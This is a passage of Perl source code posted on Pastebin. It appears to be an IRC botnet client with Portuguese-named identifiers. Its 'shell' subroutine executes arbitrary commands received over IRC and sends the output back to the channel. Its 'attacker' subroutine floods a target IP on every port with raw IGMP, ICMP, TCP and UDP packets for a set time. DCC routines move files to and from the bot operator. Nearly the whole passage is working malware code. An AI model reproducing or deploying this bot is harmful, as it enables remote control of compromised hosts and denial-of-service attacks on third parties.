  612.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  613.      }
  614.    }
  615. }
  616. sub shell {
  617.   return unless $shellaccess;
  618.   my $printl=$_[0];
  619.   my $comando=$_[1];
  620.   if ($comando =~ /cd (.*)/) {
  621.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  622.     return;
  623.   }
  624.   elsif ($pid = fork) {
  625.      waitpid($pid, 0);
  626.   } else {
  627.       if (fork) {
  628.          exit;
  629.        } else {
  630.            my @resp=`$comando 2>&1 3>&1`;
  631.            my $c=0;
  632.            foreach my $linha (@resp) {
  633.              $c++;
  634.              chop $linha;
  635.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  636.              if ($c >= "$linas_max") {
  637.                $c=0;
  638.                sleep $sleep;
  639.              }
  640.            }
  641.            exit;
  642.        }
  643.   }
  644. }
  645.  
  646. sub attacker {
  647.   my $iaddr = inet_aton($_[0]);
  648.   my $msg = 'B' x $_[1];
  649.   my $ftime = $_[2];
  650.   my $cp = 0;
  651.   my (%pacotes);
  652.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  653.  
  654.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  655.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  656.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  657.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  658.   return(undef) if $cp == 4;
  659.   my $itime = time;
  660.   my ($cur_time);
  661.   while ( 1 ) {
  662.      for (my $porta = 1; $porta <= 65535; $porta++) {
  663.        $cur_time = time - $itime;
  664.        last if $cur_time >= $ftime;
  665.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  666.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  667.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  668.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  669.        for (my $pc = 3; $pc <= 255;$pc++) {
  670.          next if $pc == 6;
  671.          $cur_time = time - $itime;
  672.          last if $cur_time >= $ftime;
  673.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  674.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  675.        }
  676.      }
  677.      last if $cur_time >= $ftime;
  678.   }
  679.   return($cur_time, %pacotes);
  680. }
  681.  
  682. sub action {
  683.    return unless $#_ == 1;
  684.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  685. }
  686. sub ctcp {
  687.    return unless $#_ == 1;
  688.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  689. }
  690. sub msg {
  691.    return unless $#_ == 1;
  692.    sendraw("PRIVMSG $_[0] :$_[1]");
  693. }
  694. sub notice {
  695.    return unless $#_ == 1;
  696.    sendraw("NOTICE $_[0] :$_[1]");
  697. }
  698. sub op {
  699.    return unless $#_ == 1;
  700.    sendraw("MODE $_[0] +o $_[1]");
  701. }
  702. sub deop {
  703.    return unless $#_ == 1;
  704.    sendraw("MODE $_[0] -o $_[1]");
  705. }
  706. sub hop {
  707.     return unless $#_ == 1;
  708.    sendraw("MODE $_[0] +h $_[1]");
  709. }
  710. sub dehop {
  711.    return unless $#_ == 1;
  712.    sendraw("MODE $_[0] +h $_[1]");
  713. }
  714. sub voice {
  715.    return unless $#_ == 1;
  716.    sendraw("MODE $_[0] +v $_[1]");
  717. }
  718. sub devoice {
  719.    return unless $#_ == 1;
  720.    sendraw("MODE $_[0] -v $_[1]");
  721. }
  722. sub ban {
  723.    return unless $#_ == 1;
  724.    sendraw("MODE $_[0] +b $_[1]");
  725. }
  726. sub unban {
  727.    return unless $#_ == 1;
  728.    sendraw("MODE $_[0] -b $_[1]");
  729. }
  730. sub kick {
  731.    return unless $#_ == 1;
  732.    sendraw("KICK $_[0] $_[1] :$_[2]");
  733. }
  734. sub modo {
  735.    return unless $#_ == 0;
  736.    sendraw("MODE $_[0] $_[1]");
  737. }
  738. sub mode { modo(@_); }
  739. sub j { &join(@_); }
  740. sub join {
  741.    return unless $#_ == 0;
  742.    sendraw("JOIN $_[0]");
  743. }
  744. sub p { part(@_); }
  745. sub part {sendraw("PART $_[0]");}
  746. sub nick {
  747.   return unless $#_ == 0;
  748.   sendraw("NICK $_[0]");
  749. }
  750. sub invite {
  751.    return unless $#_ == 1;
  752.    sendraw("INVITE $_[1] $_[0]");
  753. }
  754. sub topico {
  755.    return unless $#_ == 1;
  756.    sendraw("TOPIC $_[0] $_[1]");
  757. }
  758. sub topic { topico(@_); }
  759. sub whois {
  760.   return unless $#_ == 0;
  761.   sendraw("WHOIS $_[0]");
  762. }
  763. sub who {
  764.   return unless $#_ == 0;
  765.   sendraw("WHO $_[0]");
  766. }
  767. sub names {
  768.   return unless $#_ == 0;
  769.   sendraw("NAMES $_[0]");
  770. }
  771. sub away {
  772.   sendraw("AWAY $_[0]");
  773. }
  774. sub back { away(); }
  775. sub quit {
  776.   sendraw("QUIT :$_[0]");
  777.   exit;
  778. }
  779.  
  780. package DCC;
  781. sub connections {
  782.    my @ready = $dcc_sel->can_read(1);
  783. #   return unless (@ready);
  784.    foreach my $fh (@ready) {
  785.      my $dcctipo = $DCC{$fh}{tipo};
  786.      my $arquivo = $DCC{$fh}{arquivo};
  787.      my $bytes = $DCC{$fh}{bytes};
  788.      my $cur_byte = $DCC{$fh}{curbyte};
  789.      my $nick = $DCC{$fh}{nick};
  790.      my $msg;
  791.      my $nread = sysread($fh, $msg, 10240);
  792.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  793.         $DCC{$fh}{status} = "Cancelado";
  794.         $DCC{$fh}{ftime} = time;
  795.         $dcc_sel->remove($fh);
  796.         $fh->close;
  797.         next;
  798.      }
  799.      if ($dcctipo eq "get") {
  800.         $DCC{$fh}{curbyte} += length($msg);
  801.  
  802.         my $cur_byte = $DCC{$fh}{curbyte};
  803.  
  804.         open(FILE, ">> $arquivo");
  805.         print FILE "$msg" if ($cur_byte <= $bytes);
  806.         close(FILE);
  807.  
  808.         my $packbyte = pack("N", $cur_byte);
  809.         print $fh "$packbyte";
  810.  
  811.         if ($bytes == $cur_byte) {
  812.            $dcc_sel->remove($fh);
  813.            $fh->close;
  814.            $DCC{$fh}{status} = "Recebido";
  815.            $DCC{$fh}{ftime} = time;
  816.            next;
  817.         }
  818.      } elsif ($dcctipo eq "send") {
  819.           my $send = $fh->accept;
  820.           $send->autoflush(1);
  821.           $dcc_sel->add($send);
  822.           $dcc_sel->remove($fh);
  823.           $DCC{$send}{tipo} = 'sendcon';
  824.           $DCC{$send}{itime} = time;
  825.           $DCC{$send}{nick} = $nick;
  826.           $DCC{$send}{bytes} = $bytes;
  827.           $DCC{$send}{curbyte} = 0;
  828.           $DCC{$send}{arquivo} = $arquivo;
  829.           $DCC{$send}{ip} = $send->peerhost;
  830.           $DCC{$send}{porta} = $send->peerport;
  831.           $DCC{$send}{status} = "Enviando";
  832.           open(FILE, "< $arquivo");
  833.           my $fbytes;
  834.           read(FILE, $fbytes, 1024);
  835.           print $send "$fbytes";
  836.           close FILE;
  837. #          delete($DCC{$fh});
  838.      } elsif ($dcctipo eq 'sendcon') {
  839.           my $bytes_sended = unpack("N", $msg);
  840.           $DCC{$fh}{curbyte} = $bytes_sended;
  841.           if ($bytes_sended == $bytes) {
  842.              $fh->close;
  843.              $dcc_sel->remove($fh);
  844.              $DCC{$fh}{status} = "Enviado";
  845.              $DCC{$fh}{ftime} = time;
  846.              next;
  847.           }
  848.           open(SENDFILE, "< $arquivo");
  849.           seek(SENDFILE, $bytes_sended, 0);
  850.           my $send_bytes;
  851.           read(SENDFILE, $send_bytes, 1024);
  852.           print $fh "$send_bytes";
  853.           close(SENDFILE);
  854.      }
  855.    }
  856. }
  857.  
  858. sub SEND {
  859.   my ($nick, $arquivo) = @_;
  860.   unless (-r "$arquivo") {
  861.     return(0);
  862.   }
  863.   my $dccark = $arquivo;
  864.   $dccark =~ s/[.*\/](\S+)/$1/;
  865.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  866.   my $longip = unpack("N",inet_aton($meuip));
  867.   my @filestat = stat($arquivo);
  868.   my $size_total=$filestat[7];
  869.   if ($size_total == 0) {
  870.      return(0);
  871.   }
  872.   my ($porta, $sendsock);
  873.   do {
  874.     $porta = int rand(64511);
  875.     $porta += 1024;
  876.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  877.   } until $sendsock;
  878.   $DCC{$sendsock}{tipo} = 'send';
  879.   $DCC{$sendsock}{nick} = $nick;
  880.   $DCC{$sendsock}{bytes} = $size_total;
  881.   $DCC{$sendsock}{arquivo} = $arquivo;
  882.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  883. }
  884. sub GET {
  885.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  886.   return(0) if (-e "$arquivo");
  887.   if (open(FILE, "> $arquivo")) {
  888.      close FILE;
  889.   } else {
  890.     return(0);
  891.   }
  892.   my $dccip=fixaddr($dcclongip);
  893.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  894.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  895.   $dccsock->autoflush(1);
  896.   $dcc_sel->add($dccsock);
  897.   $DCC{$dccsock}{tipo} = 'get';
  898.   $DCC{$dccsock}{itime} = time;
  899.   $DCC{$dccsock}{nick} = $nick;
  900.   $DCC{$dccsock}{bytes} = $bytes;
  901.   $DCC{$dccsock}{curbyte} = 0;
  902.   $DCC{$dccsock}{arquivo} = $arquivo;
  903.   $DCC{$dccsock}{ip} = $dccip;
  904.   $DCC{$dccsock}{porta} = $dccporta;
  905.   $DCC{$dccsock}{status} = "Recebendo";
  906. }
  907. sub Status {
  908.   my $socket = shift;
  909.   my $sock_tipo = $DCC{$socket}{tipo};
  910.   unless (lc($sock_tipo) eq "chat") {
  911.     my $nick = $DCC{$socket}{nick};
  912.     my $arquivo = $DCC{$socket}{arquivo};
  913.     my $itime = $DCC{$socket}{itime};
  914.     my $ftime = time;
  915.     my $status = $DCC{$socket}{status};
  916.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  917.  
  918.     my $d_time = $ftime-$itime;
  919.  
  920.     my $cur_byte = $DCC{$socket}{curbyte};
  921.     my $bytes_total =  $DCC{$socket}{bytes};
  922.  
  923.     my $rate = 0;
  924.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  925.     my $porcen = ($cur_byte*100)/$bytes_total;
  926.  
  927.     my ($r_duv, $p_duv);
  928.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  929.        $r_duv = $3; $r_duv++ if $4 >= 5;
  930.        $rate = "$1\.$2"."$r_duv";
  931.     }
  932.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  933.        $p_duv = $3; $p_duv++ if $4 >= 5;
  934.        $porcen = "$1\.$2"."$p_duv";
  935.     }
  936.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  937.   }
  938.   return(0);
  939. }
  940.  
  941. sub fixaddr {
  942.     my ($address) = @_;
  943.  
  944.     chomp $address;
  945.     if ($address =~ /^\d+$/) {
  946.         return inet_ntoa(pack "N", $address);
  947.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  948.         return $address;
  949.     } elsif ($address =~ tr/a-zA-Z//) {
  950.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  951.     } else {
  952.         return;
  953.     }
  954. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!